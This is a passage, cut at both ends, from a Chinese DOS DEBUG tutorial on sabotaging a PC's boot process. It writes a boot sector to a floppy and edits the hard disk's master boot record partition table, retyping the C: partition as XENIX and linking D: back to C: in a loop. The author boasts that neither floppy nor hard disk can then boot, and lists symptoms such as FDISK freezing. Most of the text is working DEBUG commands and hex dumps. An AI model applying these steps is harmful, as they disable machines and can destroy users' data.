mov cx,2
mov dx, 0
int 13 ;写ES:200处内容到软盘0磁头0柱面2扇区
int 3
↙
-g=100
;然后制作一张“启动盘1” :
-a 200
mov ax,201
mov bx,2000
mov cx,2
mov dx,0
int 13 ;读软盘0磁头0柱面2扇区的内容到ES:2000处
jb 200
mov ax,301
mov bx,2000
mov cx,1
mov dx,80
int 13
jmp ffff:0000
↙
-w 200 0 0 1 ;执行此命令之前插入上述软盘,将这一段起引导作用的程序写到软盘的0磁头0柱面1扇区,使之成为一张特殊的“启动盘1”。
以上为准备工作
现在开始制作
我们先看一看硬盘分区表的信息(下述为实例,读者在**作中,显示的段地址不一定是1186):
C:\\DOS>DEBUG
-a100
1186:0100 mov ax,201
1186:0103 mov bx,200
1186:0106 mov cx,1
1186:0109 mov dx,80
1186:010C int 13
1186:010E int 3
1186:010F ↙
-g=100
-d 3b0 L 50
1186:03B0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 80 01
起始磁头号
起始柱面号(01的高2位并上00)
1186:03C0 01 00 06 7F BF 07 3F 00-00 00 C1 FB 3F 00 00 00
结束磁头号、扇区号、柱面号(格式同前)
起始扇区号(01的低6位)
1186:03D0 81 08 05 7F FF 0C 00 FC-3F 00 80 1D 20 00 00 00
1186:03E0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
1186:03F0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 55 AA
-e 3c2
02 ; 将分区类型 06 改为 02,即XENIX,该字节含义如下:
0-无效分区
1-DOS 12位FAT
2-XENIX
4-DOS 16位FAT 分区容量<32M
5-扩展DOS分区
6-DOS 16位FAT 分区容量>32M
-e3d0
01 00 ;将D区的起始扇区号和柱面号改为与C区相同的起始扇区号和柱面号,形成循环链表
-a 100
1186:0100 mov ax,301
1186:0103 ↙
-g=100
;将改后的内容写入硬盘主引导扇区
-a 100
1186:0100 mov ax,201
1186:0103 ↙
-g=100
;再次读出硬盘主引导扇区内容
-d 3b0 L 50
1186:03B0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 80 01
1186:03C0 01 00 02 7F BF 07 3F 00-00 00 C1 FB 3F 00 00 00
1186:03D0 01 00 05 7F FF 0C 00 FC-3F 00 80 1D 20 00 00 00
1186:03E0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
1186:03F0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 55 AA
;显示表明以上分区表内容已改好
-q
;退出DEBUG,重新启动系统,一切OK!Haha,软盘、硬盘都不能启动系统了!
症状说明:
1.只修改C盘的分区类型,即将分区类型06改为02后,硬盘不能启动,A盘可以启动。
2.只做循环链表,Win95/98不能启动,但DOS 6.22可正常启动,启动后将有相同容量、相同数据的24个逻辑
驱动器(从C盘到Z盘),启动时提示如下错误信息:
Warning:Logical drives past Z exist and will be ignored
笔者在多年前就做过循环分区链表,它对DOS 6.22 的启动可以说无效,但对付DOS 6.22 的FDISK命令很管用,一运行就“死机”(同 Win95/98 启动一样,因循环检查分区链表而呈死机状)。
3.以上两条都修改后,C盘、A盘的DOS 6.22 都